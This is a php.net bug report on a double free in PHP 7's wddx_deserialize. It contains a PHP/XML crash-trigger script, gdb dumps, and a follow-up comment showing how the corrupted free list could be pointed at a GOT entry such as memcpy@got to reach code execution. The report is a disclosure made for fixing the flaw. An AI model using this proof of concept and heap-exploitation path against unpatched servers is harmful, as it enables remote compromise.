|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-06-06 06:26 UTC] nguyenvuhoang199321 at gmail dot com
Description:
------------
There are a bug double free occur in wddx_deserialize, which trying to deserialize malicious xml input from user's request.
In php_wddx_process_data they just compare value data with "true" or "false" and set 0/1 to ent->data. The problem is if value is not true/false then they call efree(ent->varname) .
After that, php_wddx_process_data back to php_wddx_push_element to continute execution, because, for each parsing object, they will call php_wddx_process_data to process data.
In this case php_wddx_process_data will call again and wddx_stack_top will return the same ent in the last called php_wddx_process_data and then free(ent->varname) again, this lead to double free.
### Further more
We can control p->next_free_slot , so if we can replace this next_free_slot with GOT address, we can overwrite address in GOT and this may be lead to code execution.
Test script:
---------------
<?php
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array><var name="XXXXXXXX"><boolean value="shit"></boolean></var>
<var name="YYYYYYYY"><var name="ZZZZZZZZ"><var name="EZEZEZEZ">
</var></var></var>
</array>
</wddxPacket>
EOF;
$array = wddx_deserialize($xml);
?>
Expected result:
----------------
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x5959595959595959 ('YYYYYYYY')
RBX: 0x5
RCX: 0x14
RDX: 0x9 ('\t')
RSI: 0x30 ('0')
RDI: 0x7ffff4400040 --> 0x0
RBP: 0x7fffffffab20 --> 0x7fffffffab90 --> 0x7fffffffabc0 --> 0x7fffffffac00 --> 0x7fffffffad20 --> 0x7fffffffada0 --> 0x121b780 --> 0x1217fe0 --> 0x0
RSP: 0x7fffffffaad0 --> 0x7ffff4471100 --> 0x9 ('\t')
RIP: 0x8536b1 (<zend_mm_alloc_small+176>: mov rdx,QWORD PTR [rax])
R8 : 0x313
R9 : 0x0
R10: 0x5
R11: 0x1
R12: 0x121cd34 --> 0x6f6f6200656d616e ('name')
R13: 0x121985b ("name=\"UUUUUUUU\">\n\t\t\t\t</var>\n\t\t\t</var>\n\t\t</var>\n\t</array>\n</wddxPacket>")
R14: 0x1
R15: 0x121d150 --> 0x121cd34 --> 0x6f6f6200656d616e ('name')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8536a5 <zend_mm_alloc_small+164>: mov rax,QWORD PTR [rax+rdx*8]
0x8536a9 <zend_mm_alloc_small+168>: mov QWORD PTR [rbp-0x8],rax
0x8536ad <zend_mm_alloc_small+172>: mov rax,QWORD PTR [rbp-0x8]
=> 0x8536b1 <zend_mm_alloc_small+176>: mov rdx,QWORD PTR [rax]
0x8536b4 <zend_mm_alloc_small+179>: mov rax,QWORD PTR [rbp-0x28]
0x8536b8 <zend_mm_alloc_small+183>: mov ecx,DWORD PTR [rbp-0x34]
0x8536bb <zend_mm_alloc_small+186>: movsxd rcx,ecx
0x8536be <zend_mm_alloc_small+189>: add rcx,0x4
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaad0 --> 0x7ffff4471100 --> 0x9 ('\t')
0008| 0x7fffffffaad8 --> 0x0
0016| 0x7fffffffaae0 --> 0xd91858 ("/home/vagrant/Sources_Ext/php7.0-7.0.4/ext/wddx/wddx.c")
0024| 0x7fffffffaae8 --> 0x500000313
0032| 0x7fffffffaaf0 --> 0x30 ('0')
0040| 0x7fffffffaaf8 --> 0x7ffff4400040 --> 0x0
0048| 0x7fffffffab00 --> 0x7ffff44710f0 ("ZZZZZZZZ")
0056| 0x7fffffffab08 --> 0x59688
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000008536b1 in zend_mm_alloc_small (heap=0x7ffff4400040, size=0x30, bin_num=0x5,
__zend_filename=0xd91858 "/home/vagrant/Sources_Ext/php7.0-7.0.4/ext/wddx/wddx.c",
__zend_lineno=0x313, __zend_orig_filename=0x0, __zend_orig_lineno=0x0)
at /home/vagrant/Sources_Ext/php7.0-7.0.4/Zend/zend_alloc.c:1291
1291 heap->free_slot[bin_num] = p->next_free_slot;
Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x5959595959595959 ('YYYYYYYY')
RBX: 0x5
RCX: 0x14
RDX: 0x9 ('\t')
RSI: 0x30 ('0')
RDI: 0x7ffff4400040 --> 0x0
RBP: 0x7fffffffab20 --> 0x7fffffffab90 --> 0x7fffffffabc0 --> 0x7fffffffac00 --> 0x7fffffffad20 --> 0x7fffffffada0 --> 0x121b780 --> 0x1217fe0 --> 0x0
RSP: 0x7fffffffaad0 --> 0x7ffff4471100 --> 0x9 ('\t')
RIP: 0x8536b1 (<zend_mm_alloc_small+176>: mov rdx,QWORD PTR [rax])
R8 : 0x313
R9 : 0x0
R10: 0x5
R11: 0x1
R12: 0x121cd34 --> 0x6f6f6200656d616e ('name')
R13: 0x121985b ("name=\"UUUUUUUU\">\n\t\t\t\t</var>\n\t\t\t</var>\n\t\t</var>\n\t</array>\n</wddxPacket>")
R14: 0x1
R15: 0x121d150 --> 0x121cd34 --> 0x6f6f6200656d616e ('name')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8536a5 <zend_mm_alloc_small+164>: mov rax,QWORD PTR [rax+rdx*8]
0x8536a9 <zend_mm_alloc_small+168>: mov QWORD PTR [rbp-0x8],rax
0x8536ad <zend_mm_alloc_small+172>: mov rax,QWORD PTR [rbp-0x8]
=> 0x8536b1 <zend_mm_alloc_small+176>: mov rdx,QWORD PTR [rax]
0x8536b4 <zend_mm_alloc_small+179>: mov rax,QWORD PTR [rbp-0x28]
0x8536b8 <zend_mm_alloc_small+183>: mov ecx,DWORD PTR [rbp-0x34]
0x8536bb <zend_mm_alloc_small+186>: movsxd rcx,ecx
0x8536be <zend_mm_alloc_small+189>: add rcx,0x4
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaad0 --> 0x7ffff4471100 --> 0x9 ('\t')
0008| 0x7fffffffaad8 --> 0x0
0016| 0x7fffffffaae0 --> 0xd91858 ("/home/vagrant/Sources_Ext/php7.0-7.0.4/ext/wddx/wddx.c")
0024| 0x7fffffffaae8 --> 0x500000313
0032| 0x7fffffffaaf0 --> 0x30 ('0')
0040| 0x7fffffffaaf8 --> 0x7ffff4400040 --> 0x0
0048| 0x7fffffffab00 --> 0x7ffff44710f0 ("ZZZZZZZZ")
0056| 0x7fffffffab08 --> 0x59688
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000008536b1 in zend_mm_alloc_small (heap=0x7ffff4400040, size=0x30, bin_num=0x5,
__zend_filename=0xd91858 "/home/vagrant/Sources_Ext/php7.0-7.0.4/ext/wddx/wddx.c",
__zend_lineno=0x313, __zend_orig_filename=0x0, __zend_orig_lineno=0x0)
at /home/vagrant/Sources_Ext/php7.0-7.0.4/Zend/zend_alloc.c:1291
1291 heap->free_slot[bin_num] = p->next_free_slot;
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Tue Oct 28 10:00:01 2025 UTC |
In my description and 1st comment i wrote not clearly about this bug, So I explain in deep in this comment. ------------------------------------------------------------------------------------------------------------- The problem start here in : ``` static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts) { ...snip..... } else if (!strcmp((char *)name, EL_BOOLEAN)) { int i; if (atts) for (i = 0; atts[i]; i++) { if (!strcmp((char *)atts[i], EL_VALUE) && atts[++i] && atts[i][0]) { ent.type = ST_BOOLEAN; SET_STACK_VARNAME; ZVAL_TRUE(&ent.data); wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st_entry)); php_wddx_process_data(user_data, atts[i], strlen((char *)atts[i])); break; } } } } ``` When wddx_deserialize a tag <boolean value="true/false"> they get content of value and then pass to php_wddx_process_data(user_data, atts[i], strlen((char *)atts[i])) directly. ``` static void php_wddx_process_data(void *user_data, const XML_Char *s, int len) { ...snip..... wddx_stack_top(stack, (void**)&ent); //return element in top of the stack switch (ent->type) { case ST_BOOLEAN: if (!strcmp((char *)s, "true")) { Z_LVAL(ent->data) = 1; } else if (!strcmp((char *)s, "false")) { Z_LVAL(ent->data) = 0; } else { zval_ptr_dtor(&ent->data); if (ent->varname) { efree(ent->varname); // free current varname } ZVAL_UNDEF(&ent->data); } break; ...snip.... } ``` In php_wddx_process_data they just compare value data with "true" or "false" and set 0/1 to ent->data. The problem is if value is not true/false then they call efree(ent->varname) to free current varname. After that, php_wddx_process_data back to php_wddx_push_element to continute execution, because, for each parsing object, they will call php_wddx_process_data to process data. In this case php_wddx_process_data will call again (after php_wddx_push_element had ended) and wddx_stack_top will return the same ent in the last called php_wddx_process_data and because s in this second call point to own xml string and ent->type still is boolean so efree(ent->varname) will hit again, and this leads to double free ##### Explain test script: ----------------------------- When free(XXXXXXXX) zend_mm_alloc_small will update linked list for each size request and store the last freed chunk into heap->free_slot. Because free(XXXXXXXX) was freed 2 times then this next pointer will point to itself. After 1st efree(ent->varname). ``` [-------------------------------------code-------------------------------------] 0x7c6f0b <php_wddx_process_data+606>: lea rsi,[rip+0x5ca946] # 0xd91858 0x7c6f12 <php_wddx_process_data+613>: mov rdi,rax 0x7c6f15 <php_wddx_process_data+616>: call 0x85637d <_efree> => 0x7c6f1a <php_wddx_process_data+621>: mov rax,QWORD PTR [rbp-0x60] 0x7c6f1e <php_wddx_process_data+625>: mov DWORD PTR [rax+0x8],0x0 0x7c6f25 <php_wddx_process_data+632>: jmp 0x7c7005 <php_wddx_process_data+856> 0x7c6f2a <php_wddx_process_data+637>: mov eax,DWORD PTR [rbp-0x74] 0x7c6f2d <php_wddx_process_data+640>: add eax,0x1 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffab80 --> 0x7ffff4402a40 --> 0x121d150 --> 0x121cd41 --> 0x65756c6176 ('value') 0008| 0x7fffffffab88 --> 0x4f4402a60 0016| 0x7fffffffab90 --> 0x12046b0 --> 0x74696873 ('shit') 0024| 0x7fffffffab98 --> 0x7fffffffb060 --> 0x1000000002 0032| 0x7fffffffaba0 --> 0x7ffff4402a40 --> 0x121d150 --> 0x121cd41 --> 0x65756c6176 ('value') 0040| 0x7fffffffaba8 --> 0x7fffffffb060 --> 0x1000000002 0048| 0x7fffffffabb0 --> 0xd91858 ("/home/vagrant/Sources_Ext/php7.0-7.0.4/ext/wddx/wddx.c") 0056| 0x7fffffffabb8 --> 0x20 (' ') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 1023 ZVAL_UNDEF(&ent->data); gdb-peda$ x/gx 0x7ffff44710c0 0x7ffff44710c0: 0x00007ffff4471090 ``` After the second efree(ent->varname) ``` [-------------------------------------code-------------------------------------] 0x7c6f0b <php_wddx_process_data+606>: lea rsi,[rip+0x5ca946] # 0xd91858 0x7c6f12 <php_wddx_process_data+613>: mov rdi,rax 0x7c6f15 <php_wddx_process_data+616>: call 0x85637d <_efree> => 0x7c6f1a <php_wddx_process_data+621>: mov rax,QWORD PTR [rbp-0x60] 0x7c6f1e <php_wddx_process_data+625>: mov DWORD PTR [rax+0x8],0x0 0x7c6f25 <php_wddx_process_data+632>: jmp 0x7c7005 <php_wddx_process_data+856> 0x7c6f2a <php_wddx_process_data+637>: mov eax,DWORD PTR [rbp-0x74] 0x7c6f2d <php_wddx_process_data+640>: add eax,0x1 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffad00 --> 0x7 0008| 0x7fffffffad08 --> 0x400000005 0016| 0x7fffffffad10 --> 0x1219809 ("\n\t\t\t</boolean>\n\t\t</var>\n\t\t<var name=\"YYYYYYYY\">\n\t\t\t<var name=\"ZZZZZZZZ\">\n\t\t\t\t<var name=\"EZEZEZEZ\">\n\t\t\t\t</var>\n\t\t\t</var>\n\t\t</var>\n\t</array>\n</wddxPacket>") 0024| 0x7fffffffad18 --> 0x7fffffffb060 --> 0x1000000002 0032| 0x7fffffffad20 --> 0x7ffff4402a40 --> 0x121d150 --> 0x121cd41 --> 0x65756c6176 ('value') 0040| 0x7fffffffad28 --> 0x7fffffffb060 --> 0x1000000002 0048| 0x7fffffffad30 --> 0x121d168 --> 0x0 0056| 0x7fffffffad38 --> 0x121cd41 --> 0x65756c6176 ('value') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 1023 ZVAL_UNDEF(&ent->data); gdb-peda$ x/gx 0x7ffff44710c0 0x7ffff44710c0: 0x00007ffff44710c0 ``` we got a chunk that point to itself, because zend_mm_alloc_small() will update heap->free_slot[bin_num] = p->next_free_slot. If we try to malloc with the same size of ent->varname (was freed) at 0x7ffff44710c0 : 1st malloc : YYYYYYYY , zend_mm_alloc_small() will return with 0x7ffff44710c0 and update heap->free_slot[bin_num] = p->next_free_slot = 0x7ffff44710c0 (because 0x7ffff44710c0 point to itself as above). ``` [----------------------------------registers-----------------------------------] RAX: 0x7ffff44710c0 ("YYYYYYYY") RBX: 0x5 RCX: 0x12 RDX: 0x9 ('\t') RSI: 0x12046b0 ("YYYYYYYY") RDI: 0x7ffff44710c0 ("YYYYYYYY") RBP: 0x7fffffffad20 --> 0x7fffffffada0 --> 0x121b780 --> 0x1217fe0 --> 0x0 RSP: 0x7fffffffac10 --> 0x7ffff4402a40 --> 0x7ffff44029c0 --> 0x7ffff4402980 --> 0x7ffff4402940 --> 0x7ffff44028c0 --> 0x7ffff4402bc0 --> 0x7ffff4402c00 --> 0x7ffff4402c40 --> 0x7ffff4402c80 --> 0x7ffff4402cc0 --> 0x7ffff4402d00 --> 0x7ffff4402d40 --> 0x7ffff4402d80 --> 0x7ffff4402dc0 --> 0x7ffff4402e00 --> 0x7ffff4402e40 --> 0x7ffff4402e80 --> 0x7ffff4402ec0 --> 0x7ffff4402f00 --> 0x7ffff4402f40 --> 0x7ffff4402f80 --> 0x7ffff4402fc0 --> 0x0 RIP: 0x7c5ce1 (<php_wddx_push_element+2802>: mov rdx,rax) R8 : 0x313 R9 : 0x0 R10: 0x5 R11: 0x1 R12: 0x121cd34 --> 0x6f6f6200656d616e ('name') R13: 0x1219828 ("name=\"YYYYYYYY\">\n\t\t\t<var name=\"ZZZZZZZZ\">\n\t\t\t\t<var name=\"EZEZEZEZ\">\n\t\t\t\t</var>\n\t\t\t</var>\n\t\t</var>\n\t</array>\n</wddxPacket>") R14: 0x1 R15: 0x121d150 --> 0x121cd34 --> 0x6f6f6200656d616e ('name') EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7c5cd2 <php_wddx_push_element+2787>: lea rsi,[rip+0x5cbb7f] # 0xd91858 0x7c5cd9 <php_wddx_push_element+2794>: mov rdi,rax 0x7c5cdc <php_wddx_push_element+2797>: call 0x856850 <_estrdup> => 0x7c5ce1 <php_wddx_push_element+2802>: mov rdx,rax 0x7c5ce4 <php_wddx_push_element+2805>: mov rax,QWORD PTR [rbp-0xc0] 0x7c5ceb <php_wddx_push_element+2812>: mov QWORD PTR [rax+0x8],rdx 0x7c5cef <php_wddx_push_element+2816>: jmp 0x7c639c <php_wddx_push_element+4525> 0x7c5cf4 <php_wddx_push_element+2821>: add DWORD PTR [rbp-0xd8],0x1 [------------------------------------stack-------------------------------------] ``` 2nd malloc : ZZZZZZZZ , zend_mm_alloc_small() will return with 0x7ffff44710c0 again and then update heap->free_slot[bin_num] = p->next_free_slot = YYYYYYYY (because zend_mm_alloc_small think YYYYYYYY is the next_free_slot). 3rd malloc: EZEZEZEZ, zend_mm_alloc_small() will return YYYYYYYY for us and this lead to crash at **heap->free_slot[bin_num] = p->next_free_slot;** when zend_mm_alloc_small() try to update next_free_slot to heap->free_slot. At this point, if we replace YYYYYYYY with an address of GOT table for example memcpy@got, zend_mm_alloc_small() will happly return this address for us, and the call memcpy(memcpy@got,EZEZEZEZE,8); in which EZEZEZEZ is value we control, this may lead to remote code execution. This bug also works in PHP 7.0.x